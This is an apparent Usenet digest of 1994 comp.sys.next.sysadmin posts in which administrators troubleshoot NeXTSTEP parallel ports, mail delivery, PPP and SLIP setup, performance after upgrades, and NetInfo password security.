>Problem : The parallel port doesn't work. At all, under NeXTStep. I had
>heard that the printer needed to be on when the system was booted, so I
>tried that, and watching the diagnostic messages on boot revealed a
>message from the parallel driver that "no paralell port found at 0x378"
Turn your printer on before boot.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: info@paradigm-shift.com (Paradigm Shift, Inc.)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: PINE mailer problems (maybe?)
Date: 6 Mar 1994 17:53:19 GMT
Organization: MCNC -- Center for Communications -- CONCERT
Distribution: world
Message-ID: <2ld5af$d2l@inxs.concert.net>
We just brought PINE up...know when we send mail through PINE, we get bounce
messages:
Date: Sun, 6 Mar 94 12:50:34 -0500
From: NeXT Mail Agent <Mailer-Agent@barkley>
To: info@barkley
Subject: Returned mail: Unable to deliver mail
----- Transcript of session follows -----
554 no local yp domain
We are not bouncing from NeXTmail and the mail we send through PINE is being
delivered.
Anybody have any solutions?
Dave
--
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A NeXT Object Channel Member (919) 682-1126 [Fax]
NeXTMail/MIME Mail Welcomed info@paradigm-shift.com
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Paralell Port NS/I Doesn't work.
Date: 6 Mar 1994 22:53:21 GMT
Organization: University of Maryland, College Park
Message-ID: <2ldmt1$fnb@cville-srv.wam.umd.edu>
References: <schwettCM7xrI.F89@netcom.com> <next2.762968721@info2.rus.uni-stuttgart.de>
Keywords: paralell NeXTStep Intel
In article <next2.762968721@info2.rus.uni-stuttgart.de>,
Markus Wenzel <next2@info2.rus.uni-stuttgart.de> wrote:
>schwett@netcom.com (Mark Schwettmann) writes:
>>Problem : The parallel port doesn't work. At all, under NeXTStep. I had
>>heard that the printer needed to be on when the system was booted, so I
>>tried that, and watching the diagnostic messages on boot revealed a
>>message from the parallel driver that "no paralell port found at 0x378"
>
>Turn your printer on before boot.
>
>Regards,
>Markus.
>
>
>
It may be also that the parallel port is
incorrectly configured. Check Configure.app
and see what is there under "Other".
Robert de Lucca
From: sanguish@digifix.com
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Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 6 Mar 1994 23:09:00 -0500
Organization: Next Announcements
Message-ID: <2le9cs$i6r@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
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Discussions about NeXT-label hardware and compatible
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terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
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ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
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other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
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Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: Low Level Formatting
Message-ID: <CM5Mt1.12H@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <37661@dog.ee.lbl.gov>
Date: Fri, 4 Mar 1994 19:15:00 GMT
In article <37661@dog.ee.lbl.gov> rolf@csg.lbl.gov (Rolf Behrsing) writes:
> Is it possibly to low level format a scsi device with a block size of
> 1024 as opposed to 512 (default) with NEXTSTEP on white?
>
> Thanks in advance,
> Rolf
Yes, but NSfIP can't boot from such a device! So use that only for your 2.
(3. ..) device, or for SyQuests etc.
Gerd
From: jr@sade.ka.sub.org (Jochen Richter)
Newsgroups: comp.sys.next.sysadmin
Subject: Error Messages (netmsgserver)
Date: 6 Mar 1994 21:20:33 GMT
Organization: The Home Of The Pilhuhn
Message-ID: <2ldhf1$bcg@pilhuhn.pilhuhn.sub.org>
What is the meaning of these console messages:
May 6 04:12:12 sade netmsgserver[21]: netname_main.msg_send fails, kr = -102.
May 6 04:12:12 sade netmsgserver[21]: netname_main.port_type fails, kr = 4.
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Germany jr@resy2.kfk.de (>50K)
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com (Mark Schwettmann)
Subject: Re: Paralell Port NS/I Doesn't work.
Message-ID: <schwettCMAKu1.2rn@netcom.com>
Keywords: paralell NeXTStep Intel
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <schwettCM7xrI.F89@netcom.com> <next2.762968721@info2.rus.uni-stuttgart.de>
Date: Mon, 7 Mar 1994 11:20:24 GMT
Markus,
You suggested that I "turn on my printer before boot..."
I guess you missed this part of my message :
I had heard that the printer needed to be on when the system was booted,
so I tried that...
<G>
Actually, it turns out that on a Micronics JX30 MB like gateway uses, or at
least on MY Micronics JX30 MB, the CMOS needs to be set for LPT2 and not 1,
even though I tell NS/i that it is LPT1.
It works fine now.
Jeez, what a wierd one...
Thanks everyone,
Mark
Newsgroups: comp.sys.next.sysadmin
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: SLIP and Routing
Message-ID: <CM4CBE.nF@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
Date: Fri, 4 Mar 1994 02:30:49 GMT
I've gotten the SLIP package installed on my server (NeXT, running
3.2), and it's been working ok.
However, I've now installed SLIP at home, and want to use the server
as a SLIP server. Once I get connected, I can talk to the server ok,
but how do I convinvce the server to route packets that are coming in
over the SLIP to other hosts connected to its Ethernet?
Also, how do I go the other way, convincing the server to route
outbound packets that came in from the Ethernet to go out over the
SLIP?
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: PPP build fails, is there 3.2 source (black)?
Date: 7 Mar 1994 12:45:13 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2lf7kp$667@Times.Stanford.EDU>
Hi, I am trying to get PPP running for my NeXTstation color (NS3.2)
After searching around the FAQ a bit, it seems my three choices are:
1) PPP 0.3, a port for NeXTstep 2.1
2) Morningstar's implementation of PPP.
3) Bail on PPP and run SLIP
I have tried building the first, but am unable to hack my way through
the compile errors. The second option is a little expensive, I'm still
at the try-it-out-to-see-how-cool-it-really-is stage and would like
to avoid an initial lethal blow to my wallet. I would like to start
with PPP since it is a better ("better"?) protocol than SLIP, maybe I
am being too picky.
Has anyone had any success with either PPP option? If you can point me
in the right direction or know of a summary that I can read, that would
be great. Random comments also welcome.
Cheers,
Chris
mcafee@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: cs911409@ariel.cs.yorku.ca (RICHARD DAVID ASPINALL)
Subject: PPP on NeXTStep 3.2
Message-ID: <CMA3sq.AHA@ariel.cs.yorku.ca>
Sender: news@ariel.cs.yorku.ca
Organization: York University, Dept. of Computer Science
Date: Mon, 7 Mar 1994 05:12:26 GMT
Has anyone compiled and installed PPP to run on NeXTSTEP 3.2.
When I tried to compile I got the following error messages:
ppp.c: In function `timeout':
ppp.c:636: sizeof applied to an incomplete type
ppp.c:640: invalid use of undefined type `struct callout'
.....
ppp.c: In function `untimeout':
ppp.c:700: invalid use of undefined type `struct callout'
ppp.c:700: dereferencing pointer to incomplete type
....
anyway I know callout is defined, or at least it listed in
/NextDeveloper/Headers/bsd/sys/callout.h and the file is included ...
as
#include <sys/callout.h>
I also tried explicitly importing it with a line like
#include "/NextDeveloper/Headers/bsd/sys/callout.h"
I suppose I could copy the structure definition over into ppp.h, but
that seems like the wrong thing :) to do.
Any guidance offered will be gladly accepted,
David
NEXTMAIL WELCOME .. any size :)
--
David Aspinall ---------- Just Another Student Object :)
E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my
NeXTMail: dave@huma.yorku.ca | pants and Torments me!
V-mail : (416) 663-4997 | -- Dieter
From: steffi@pinfo100.informatik.uni-mannheim.de (Steffi Brueninghaus)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: mail problems
Date: 7 Mar 1994 12:54:51 GMT
Organization: Rechenzentrum Uni-Mannheim (RUM)
Message-ID: <2lf86r$1gq@darum.uni-mannheim.de>
References: <1994Feb28.185023.27825@sifon.cc.mcgill.ca>
Hi there,
heres another mail problem, quite similar to the previous
ones.
Our configuration is as follows:
The mails are received by the server pinfo100
(sendmail.sharedsubsidary.cf), some from our
"pre-mail-server" pi1 - a SPARCstation ;-( In the
/etc/aliases-file of pi1, the entry user_name@pinfo100
causes that the mails are delivered to pinfo100, so this
machine is not involved anymore. The users have their own
client machines pinfo101-109 (with sendmail.subsidary.cf),
which are usually turned off during the night. Mails are
mainly received by users on pinfo102,103. Both users are on
several mailing-lists, so that often numerous mails arrive
at the same time. The /usr/spool/mail directory of the
server pinfo100 is auto-mounted to the NFS-clients
(pinfo101-109). The email address of every user is
user_name@pinfo100 (old) or user_name@pi1 (new, following
the overall naming schema of the university).
Our problems are:
The server frequently crashes during the night, with the
message that the local machines are not reachable (NFS
server pinfo102,103 not responding, still trying).
When a machine is turned off and a mail for the respective
user arrives, there are numerous sendmail processes on the
server pinfo100 and the mail is not written into
/usr/spool/mail. shepherd@suite.com (Scot Shepherd) reported
that on his machine, he has one time-consuming process for
each mail. Here, we have a number of processes for each
mail. These processes consume only few time. Also, we
receive the message "mach: NFS server pinfo102 (resp. pinfo103) not
responding still trying".
When the machine is turned on, however, the mail is written
into /usr/spool/mail and everything works fine. Also,
restarting the server works in that situation.
On Saturday, our server had a major crash - the only way to
restart it was alt-ctrl-*. On the console, we had the
messages "mach: NFS server pinfo103 (resp. 102) not
responding still trying" and "panic: cpu(0): ns_abstimeout
table overflow".
Did anybody experience (and, in particular, solve) similar problems?
Ciao, Steffi
University of Mannheim
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: PPP on NeXTStep 3.2
Date: 7 Mar 1994 14:45:31 -0000
Organization: me organised, that's a joke.
Message-ID: <2lfemb$58p@steffi.demon.co.uk>
References: <CMA3sq.AHA@ariel.cs.yorku.ca>
cs911409@ariel.cs.yorku.ca (RICHARD DAVID ASPINALL) wrote in comp.sys.next.sysadmin,comp.sys.next.programmer
>
> Has anyone compiled and installed PPP to run on NeXTSTEP 3.2.
>When I tried to compile I got the following error messages:
>
>ppp.c: In function `timeout':
>ppp.c:636: sizeof applied to an incomplete type
>ppp.c:640: invalid use of undefined type `struct callout'
>.....
>ppp.c: In function `untimeout':
>ppp.c:700: invalid use of undefined type `struct callout'
>ppp.c:700: dereferencing pointer to incomplete type
>....
>
>anyway I know callout is defined, or at least it listed in
>/NextDeveloper/Headers/bsd/sys/callout.h and the file is included ...
>as
> #include <sys/callout.h>
>
>I also tried explicitly importing it with a line like
>
> #include "/NextDeveloper/Headers/bsd/sys/callout.h"
>
>I suppose I could copy the structure definition over into ppp.h, but
>that seems like the wrong thing :) to do.
>
>Any guidance offered will be gladly accepted,
>
>David
>
>NEXTMAIL WELCOME .. any size :)
>
>--
>David Aspinall ---------- Just Another Student Object :)
>E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my
>NeXTMail: dave@huma.yorku.ca | pants and Torments me!
>V-mail : (416) 663-4997 | -- Dieter
There is a next ppp done on cs.orst.edu in pub/next/comms I think.
Same archive just updated for NS3.0
I played with this last week and decided that due to lack of
documentation that I wouldn't install it over SLIP.
However, I've been informed that there are a number of PPP projects
underway at the moment which should be seeing light of day real soon.
My advice is to use SLIP and wait for a _solid_ PPP implementation to
become available.
BTW: Anybody know if Transys are writing a PPP encapsulator for PNI?
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PPP build fails, is there 3.2 source (black)?
Date: 7 Mar 1994 14:47:40 -0000
Organization: me organised, that's a joke.
Message-ID: <2lfeqc$5a6@steffi.demon.co.uk>
References: <2lf7kp$667@times.stanford.edu>
mcafee@Xenon.Stanford.EDU (Christopher C McAfee) wrote in comp.sys.next.sysadmin
>
>Hi, I am trying to get PPP running for my NeXTstation color (NS3.2)
>After searching around the FAQ a bit, it seems my three choices are:
>
> 1) PPP 0.3, a port for NeXTstep 2.1
>
> 2) Morningstar's implementation of PPP.
>
> 3) Bail on PPP and run SLIP
>
>I have tried building the first, but am unable to hack my way through
>the compile errors. The second option is a little expensive, I'm still
>at the try-it-out-to-see-how-cool-it-really-is stage and would like
>to avoid an initial lethal blow to my wallet. I would like to start
>with PPP since it is a better ("better"?) protocol than SLIP, maybe I
>am being too picky.
>
>Has anyone had any success with either PPP option? If you can point me
>in the right direction or know of a summary that I can read, that would
>be great. Random comments also welcome.
>
>Cheers,
>
>Chris
>mcafee@cs.stanford.edu
>
>
See my followup in csnp.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: More mail problems
Date: 7 Mar 1994 15:16:46 GMT
Organization: NeXT, Inc.
Message-ID: <2lfggu$sgg@rosie.next.com>
References: <94063.15120534II5MT@CMUVM.CSV.CMICH.EDU>
In article <94063.15120534II5MT@CMUVM.CSV.CMICH.EDU> John Goggan
<34II5MT@CMUVM.CSV.CMICH.EDU> writes:
> On a similar note, we are also having another mail problem that may or
> may not be related to the "no NeXTMail" problem. When sending mail
> among users on the system, the address always says that it is
> "From: sync" with a "Reply-to: <actual sender>". Therefore, if you
> try to just reply with a non-smart mailer (such as our elm), it will
> send the reply mail to sync instead of the actual sender! Any ideas
> are appreciated. I'm so tired of checking the sync account's mail all
> the time...
Check the passwd database (flat file or netinfo). Sounds like this user has a
uid the same as the sync account.
Joe Keenan
NeXT Technical Support
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Multiple Boot Utilities, no more NeXTStep :(
Date: 7 Mar 1994 15:20:25 GMT
Organization: NeXT, Inc.
Message-ID: <2lfgnp$sgh@rosie.next.com>
References: <schwettCM75F5.46E@netcom.com>
In article <schwettCM75F5.46E@netcom.com> schwett@netcom.com (Mark Schwettmann)
writes:
> Anybody know how to remove the nextboot stuff without killing EVERYTHING?
> Reinstalling Boot Manager is no biggie, but the NeXT advice for getting
> for of boot1 (or whatever it's called) is "fdisk -mbr" which will surely
> kill everything!
Using DOS's fdisk (fdisk /mbr) will only overwrite the boot record. It won't
change your partitions unless you tell it to.
Joe Keenan
NeXT Technical Suport
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: PPP on NeXTStep 3.2 (and 3.1 eval kit?)
Date: 7 Mar 1994 10:26:36 -0600
Organization: NeoSoft Internet Services +1 713 684 5969
Message-ID: <2lfkjs$2c7@sugar.NeoSoft.COM>
References: <CMA3sq.AHA@ariel.cs.yorku.ca>
In article <CMA3sq.AHA@ariel.cs.yorku.ca>,
RICHARD DAVID ASPINALL <cs911409@ariel.cs.yorku.ca> wrote:
>
> Has anyone compiled and installed PPP to run on NeXTSTEP 3.2.
>When I tried to compile I got the following error messages:
>
> [ error details deleted ]
>
>Any guidance offered will be gladly accepted,
>
>David
>
>NEXTMAIL WELCOME .. any size :)
>
>--
>David Aspinall ---------- Just Another Student Object :)
>E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my
>NeXTMail: dave@huma.yorku.ca | pants and Torments me!
>V-mail : (416) 663-4997 | -- Dieter
I don't suppose this helps much, but I pulled ppp-0.3.tar.gz from
cs.orst.edu a few days ago and compiled it flawlessly on my NSI 3.1
eval kit. Only problem I have, is I don't seem to know how to
rebuild a kernel on this thing. Installing packages is fine; I've
added SCSI tape support and replaced the serial driver. But I can't
find a 'conf' directory anywhere! Can somebody give me a clue, or
is it just not possible?
--
Randy Kunkee
Self Employed
713-870-1334
kunkee@sugar.neosoft.com
Newsgroups: comp.sys.next.sysadmin
From: jerald@mrk.com (Jerald Dawson)
Subject: Connecting 030 NextCube to twisted pair network
Message-ID: <1994Mar7.175410.4275@mrk.com>
Sender: jerald@mrk.com
Distribution: usa
Date: Mon, 7 Mar 1994 17:54:10 GMT
Hi All,
I was wondering if anyone could tell me what I need to connect a 030 cube with
a BNC connector to our network that uses twisted pair wiring. Our NeXTStations
all have both kinds of connectors but the cube only has BNC.
Thanx in advance.
--
jerald dawson*Systems Manager / Head Programmer*Investor's Advantage
NeXTmail-jerald@mrk.com |"To compel a man to furnish contributions of
phone - (708) 487-3221|money for the propogation of opinions which he
fax - (708) 526-3635|disbelieves is sinful and tyranical" Thomas Jefferson
From: ti@buran.fb10.tu-berlin.de (Matthias Kloas)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next,bln.comp.misc
Subject: How to shut off Synchronous mode for IBM664M1H?
Date: 7 Mar 1994 19:34:06 GMT
Organization: TUBerlin/ZRZ
Message-ID: <2lfvjf$s2i@brachio.zrz.TU-Berlin.DE>
We have a problem with an IBM 2GB hard disk of the above type. We want to
use it with a (black) NeXT that only supports asynchronous transfer (i.e.
scsi-1 commands). Unfortunately the IBM is shipped set up for synchronous
transfers and with no documentation :(.
Does somebody know how to change the disk-setup? There seems to be no
jumper available and I don't know which scsi-command could help.
Do there exist prior experiences with this disk on black NeXT? If yes, a
scsi-sense would be helpful.
Thanks in advance,
Matthias
---
Matthias Kloas ti@buran.fb10.tu-berlin.de
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Re: PPP on NeXTStep 3.2 (and 3.1 eval kit?)
Date: Mon, 7 Mar 1994 14:26:47 -0500
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <khSrzrm00iUyA6BM58@andrew.cmu.edu>
In-Reply-To: <2lfkjs$2c7@sugar.NeoSoft.COM>
Excerpts from netnews.comp.sys.next.programmer: 7-Mar-94 Re: PPP on
NeXTStep 3.2 (an.. by Randy Kunkee@sugar.NeoSo
> I don't suppose this helps much, but I pulled ppp-0.3.tar.gz from
> cs.orst.edu a few days ago and compiled it flawlessly on my NSI 3.1
> eval kit. Only problem I have, is I don't seem to know how to
> rebuild a kernel on this thing. Installing packages is fine; I've
> added SCSI tape support and replaced the serial driver. But I can't
> find a 'conf' directory anywhere! Can somebody give me a clue, or
> is it just not possible?
It's not possible; NeXT does not provide the facilities to build a
kernel with NEXTSTEP. What you can do is create a 'loadable kernel
module', which will provide additional functionality without needing to
change the kernel. This method is how Transys' DialUpIp SLIP package
operates.
Take a look-see at that under DL, and also take a look at the 'kl_util'
program.
-Chuck
Charles William Swiger - WhiteLight Systems | "All the world's a stage, and"
--------------------------------------------+ "we are merely players...."
AMS & normal mail: infidel@cmu.edu |
NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: kazdan@poncelet.math.upenn.edu (Jerry Kazdan)
Newsgroups: comp.sys.next.sysadmin
Subject: compile problem with Gnu find-3.8
Date: 7 Mar 1994 20:15:45 GMT
Organization: University of Pennsylvania
Message-ID: <2lg21h$6sd@netnews.upenn.edu>
In compiling Gnu find-3.8 for NS 3.2, I get the following error
message (a number of times):
/NextDeveloper/Headers/ansi/string.h:41: warning: conflicting types
for built-in function `memcpy'
/NextDeveloper/Headers/ansi/string.h:43: warning: conflicting types
for built-in function `strcpy'
/NextDeveloper/Headers/ansi/string.h:47: warning: conflicting types
for built-in function `memcmp'
/NextDeveloper/Headers/ansi/string.h:48: warning: conflicting types
for built-in function `strcmp'
/NextDeveloper/Headers/ansi/string.h:68: warning: conflicting types
for built-in function `strlen'
Not surprisingly, the resulting "find" binary does not work correctly
(it does not find all the files it should). I did not customize the
configure or Makefile in any way, but it looks like I should have.
Any hints?
Please reply by e-mail. Thanks.
- Jerry
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Paralell Port NS/I Doesn't work.
Date: 7 Mar 94 22:27:08 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.763079228@info2.rus.uni-stuttgart.de>
References: <schwettCM7xrI.F89@netcom.com> <next2.762968721@info2.rus.uni-stuttgart.de> <schwettCMAKu1.2rn@netcom.com>
Keywords: paralell NeXTStep Intel
schwett@netcom.com (Mark Schwettmann) writes:
>You suggested that I "turn on my printer before boot..."
>I guess you missed this part of my message :
> I had heard that the printer needed to be on when the system was booted,
> so I tried that...
I admit I didn't read carefully enough this time. Sometimes I read news too
fast because news volume becomes more and more each day, and I thought you
stumbled over a FAQ. Sorry!
Hope you don't mind, it won't happen again.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Can't ftp large files, only small ones
Followup-To: comp.sys.next.sysadmin
Date: 7 Mar 1994 19:44:41 GMT
Organization: the Borg
Distribution: world
Message-ID: <2lg079$bi@theborg.stack.urc.tue.nl>
Hello,
Perhaps someone can help me shed some light on this. I have at my disposal a
brand X 486 machine running NEXTSTEP 3.2. Within it is a SMC EtherCard Plus
Elite 16 Ethernet Adapter. Now the problem:
1) I upgraded from 3.1 to 3.2 using the Upgrader.app and I couldn't connect to
machines outside my domain. However within my domain things went OK (though not
too fast).
2) I noticed the same problem at home, where I had used the same method to
upgrade my NeXTstation. So I did the upgrade from scratch. Now I can get out of
my domain but if I want to ftp a file which is larger than say 26K, the process
is stuck and the only thing left to me is to abort the ftp (which works).
So it looks like large packets cannot arrive intact for some reason. With a
ethernet sniffer I found out that the symptom of problem 1 was due to the fact
that the next acknowledged packets which would be sent in the future while the
other side ignored them and tried to retransmit. This might be considered a bug
because the problem disappeared after an upgrade from scratch. I haven't
"sniffed" at problem 2 yet.
What is happening here? Is it due to a software problem, or is something wrong
with the ethernet card?
Annard
--
Give me enough bandwidth and I can transmit the earth.
- Annard Brouwer
annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.sysadmin
Subject: performance drop after 3.2
Message-ID: <7MAR199414444870@eisner.decus.org>
From: bick@eisner.decus.org (Dan Bick)
Date: 7 Mar 1994 14:44 -0500
Distribution: world
Organization: DECUServe
News-Software: VAX/VMS VNEWS 1.4-b1
I recently upgraded a 100mb 8mb memory 68040 NeXTStation from 2.1
to 3.2 (os only). It is noticeably slower on startup of
apps, this degrades with additional apps running (30
seconds for mail.app to fire up).
The vm_stat utility shows 27 free pages of memory, and
although low is similar to slabs running with 2.1.
The swapfile and swapfile.front are standard at 20.9 and
18.7 mb in size.
I have removed as much Documentation as possible, the
unit is running at 85% full.
I would welcome any optimazation suggestions anyone has.
Please reply to the newsgroup or at dbick@marys.mnsmc.edu.
Thanks, Dan
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: NextMail <----> Microsoft Mail? How?
Message-ID: <1994Mar7.180059.12832@cc.usu.edu>
Date: 7 Mar 94 18:00:59 MDT
Organization: Utah State University
Are there any solutions to the problem of exchanging Nextmail with Microsoft
Mail? Simple solutions that wouldn't include such things as attachments would
be acceptable for now, but I would really like as complete a "exchange" as
possible.
Additions to either package would be acceptable.
Any help appreciated.
======================================================================
John Zollinger (NextMail Preferred)
Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com
[Moore BCS - Logan, Utah] "Life is too important to take seriously."
======================================================================
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: performance drop after 3.2
Date: 08 Mar 1994 03:47:11 GMT
Organization: Department of Biological Sciences, Stanford University
Distribution: world
Message-ID: <MAGNUS.94Mar7194711@fisher.Stanford.EDU>
References: <7MAR199414444870@eisner.decus.org>
In-reply-to: bick@eisner.decus.org's message of 7 Mar 1994 14:44 -0500
In article <7MAR199414444870@eisner.decus.org> bick@eisner.decus.org (Dan Bick) writes:
> I recently upgraded a 100mb 8mb memory 68040 NeXTStation from 2.1
> to 3.2 (os only). It is noticeably slower on startup of
> apps, this degrades with additional apps running (30
> seconds for mail.app to fire up).
> The vm_stat utility shows 27 free pages of memory, and
> although low is similar to slabs running with 2.1.
> The swapfile and swapfile.front are standard at 20.9 and
> 18.7 mb in size.
> I have removed as much Documentation as possible, the
> unit is running at 85% full.
> I would welcome any optimazation suggestions anyone has.
> Please reply to the newsgroup or at dbick@marys.mnsmc.edu.
There is only one suggestion: get more memory! Minimum amount to do
any work on a mono is 12 MB according to NeXT. Personally I find this
ridiculous -- 20 MB is more like it. The "standard" size for the
swapfile is 16 MB (swapfile.front is irrelevant here). Thus your
machine is asking for more than 16 MB to page on just by logging in!
An old NeXT like that takes cheap Mac memory -- get another 8 MB at
least.
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail welcome)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and Routing
Message-ID: <1994Mar8.031511.1574@sgcl1.unisg.ch>
Date: 8 Mar 94 03:15:11 MET
References: <CM4CBE.nF@nvc.cc.ca.us>
Organization: The VooDoo Club (tm)
In article <CM4CBE.nF@nvc.cc.ca.us>, fozztexx@nvc.cc.ca.us (Chris Osborn) writes:
>
> I've gotten the SLIP package installed on my server (NeXT, running
> 3.2), and it's been working ok.
>
> However, I've now installed SLIP at home, and want to use the server
> as a SLIP server. Once I get connected, I can talk to the server ok,
> but how do I convinvce the server to route packets that are coming in
> over the SLIP to other hosts connected to its Ethernet?
>
> Also, how do I go the other way, convincing the server to route
> outbound packets that came in from the Ethernet to go out over the
> SLIP?
>
Concerning routing a point-to-point connected SLIP client is like a subnet for
the network, which means that on every host within the network, that shall be
able ot be contacted by the slip client a route entry has to be added
specifying the slip server as a gateway to the client (route slip-client-ip gw
slip-server-ip). If this is not done then packets coming from the slip client
can reach every host but the client won't get anything back. You can test this
by trying to telnet to some host on the net and then looking at the netstat
output on that host, which will you show you you're telnet session hanging in
SYN_RECV status forever.
Dave
--
David-Michael Lincke
dlincke@sgcl1.unisg.ch
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Sending mail in "mailq"
In-Reply-To: info@paradigm-shift.com's message of 5 Mar 1994 01:12:08 GMT
To: info@paradigm-shift.com (Paradigm Shift, Inc.)
Message-ID: <CEDMAN.94Mar5133532@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <2l8m98$5u5@inxs.concert.net>
Date: Sat, 5 Mar 1994 18:35:32 GMT
In article <2l8m98$5u5@inxs.concert.net> info@paradigm-shift.com (Paradigm Shift, Inc.) writes:
If I send mail when I don't have my SLIP connection up, it leaves the mail in
the queue...how can I make the machine send the mail when I go on line?
asroot /usr/lib/sendmail -q
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: Re: Shadow Passwords
Message-ID: <1994Mar7.153946.7673@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
Date: Mon, 7 Mar 1994 15:39:46 GMT
In article <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
CCGREG@mizzou1.missouri.edu (Greg Johnson) writes:
> scotto@spasm.cica.indiana.edu (Scott Ostrander) writes:
> >Does anyone know if someone has produced a patch for NS 3.x to use shadow
> >passwords instead of encoding the password entry in /etc/passwd?
>
> anstine@uniblab.sas.upenn.edu replies:
> >Yeah, and how about password aging. And a hack to force a certain user to
> >change his password upon next login.
>
> Please, NeXT. Why can't Netinfo protect encrypted passwords from Crack?
> The "secure_passwords" property is a step but not nearly enough!
> "trusted_networks" doesn't protect us from pounding on encrypted passwords
> by our own users. I work for a university. Need I say more?
>
> Why not a "_readers" property as well as the existing "_writers"?
> Why not encrypt traffic between NetInfo daemons, (as an option!)?
>
> As a system administrator I prefer the power of Netinfo over similar tools.
> Netinfo has IMHO the right architectural foundation. As several have
> commented, the few things we've asked ought to be an easy programming job.
> Are the functions we ask--read-control access to netinfo data, a
> mod to loginwindow to force password change--ultimately ineffective?
> I'm not asking for a full-blown Kerberos, just security in a fairly
> homogenous physically-controlled environment.
>
> Recently I had to report to a group planning long-term deployment &
management
> of computing to all K-Ph.D schools in my state, sorry, NetInfo is even less
> secure than NIS. Please prove me wrong, now, or soon. Think of what
> a good selling point that would be.
>
> What does it take to escalate this issue?
>
> *Greg Johnson - Sr Sci Pgmr/Analyst, Campus Computing, 233 Heinkel Bldg
> *U of Missouri, Columbia, MO 65211 USA {314-882-2000, fax 314-884-5240}
At the recent NeXT Developer conference, I asked about NeXT's plans for
improving security (e.g., kerberos, better control over NXHost, etc.). The
response was, in brief, "our customers haven't asked for that, so we're not
doing it". Here's a chance for customers to ask! If you care about having
plain-text passwords broadcast all over your network, chime in!
Serge J. Goldstein
NeXT SysAdmin
Princeton University CIT
From: mrb@earth.wustl.edu (Mike Bray)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PPP build fails, is there 3.2 source (black)?
Date: 8 Mar 1994 07:11:30 GMT
Organization: Washington University in St. Louis
